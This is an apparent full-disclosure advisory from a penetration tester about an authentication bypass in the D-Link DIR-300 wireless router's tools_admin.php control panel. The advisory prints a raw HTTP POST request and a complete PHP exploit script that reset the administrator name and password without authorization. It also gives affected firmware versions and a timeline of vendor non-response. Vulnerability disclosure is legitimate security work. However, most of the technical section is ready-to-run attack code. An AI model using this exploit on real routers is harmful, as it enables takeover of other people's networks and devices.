D-Link DIR-300 authentication bypass

[Karol Celiński <karol@xxxxxxxx>]

[intro]
Hello, I found security bug in D-Link DIR-300 wireless router. It can
be used to bypass authentication mechanizm by attacker with access to
web interface. I reported it to D-Link but they are not replying for
my emails. According to other D-Link security holes and their status I
think that they won't reply, so I decided to write about it here.

[Technical details]

Control panel script - tools_admin.php allows attacker to change
administrator name, password and other variables without any
authorization by sending specially crafted http post request such as:

---cut here---
POST http://192.168.1.1:80/tools_admin.php HTTP/1.1
Host: 192.168.1.2
Keep-Alive: 115
Content-Type: application/x-www-form-urlencoded
Content-length: 0

ACTION_POST=LOGIN&LOGIN_USER=a&LOGIN_PASSWD=b&login=+Log+In+&NO_NEED_AUTH=1&AUTH_GROUP=0&admin_name=admin&admin_password1=uhOHahEh
---cut here---

If attacker makes this request to the control panel, the
administrator username is set to admin with password ,,uhOHahEh".

[Affected]

- All known D-Link DIR-300 firmware (ie. 2.01B1, 1.04, 1.05).
- There is possibility that other dlink devices which use the same php
scripts in control panel are affected. I'm not able to check it
because I don't have devices for tests. I'm counting on you ;->

[Code]

---cut here---
<?php
        if(sizeof($argv)!=4) {
                echo "Usage: php5 $argv[0] <router ip addres> <port>
<admin password>\n";
                exit;
        }
        $ch=curl_init();
        curl_setopt($ch, CURLOPT_URL, "http://".$argv[1]."/tools_admin.php";);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_PORT, $argv[2]);
        curl_setopt($ch, CURLOPT_POST, 1);
        curl_setopt($ch, CURLOPT_POSTFIELDS,
"ACTION_POST=LOGIN&LOGIN_USER=a&LOGIN_PASSWD=b&login=+Log+In+&NO_NEED_AUTH=1&AUTH_GROUP=0&admin_name=admin&admin_password1=".urlencode($argv[3]));
        echo "+ starting request\n";
        $out = curl_exec($ch);
        if($out===false) {
                echo "- Error: could not connect (
http://$argv[1]:$argv[2]/tools_admin.php).\n";
                exit;
        } else
                echo "+ request sended\n";
        curl_close($ch);
        if(stripos($out,"Successfully")===false) {
                echo "- something goes wrong (check answer - answer.html) !\n";
                $f=fopen("answer.html","w"); fwrite($f,$out); fclose($f);
                exit;
        }
        else
                echo "+ ok, now you can login using l: admin p:$argv[3]\n";
?>
---cut here---

[History]

 - Information sent to vendor 07.08.2010
 - No response
 - Information resended to vendor 07.31.2010
 - No response from vendor


[Credits]
Karol Celiński ( Celin )
Pentester/Researcher @ Safe Computing

[Contact]

karol at celin dot pl

[Greetz]
Tomasz Sawiak, Jacek Kowalski, Marcin Kozlowski, Robert Tomczykowski,
Wojtek Machaj, Marek Zmyslowski, Szymon Sobczyk and all Safe Computing
members.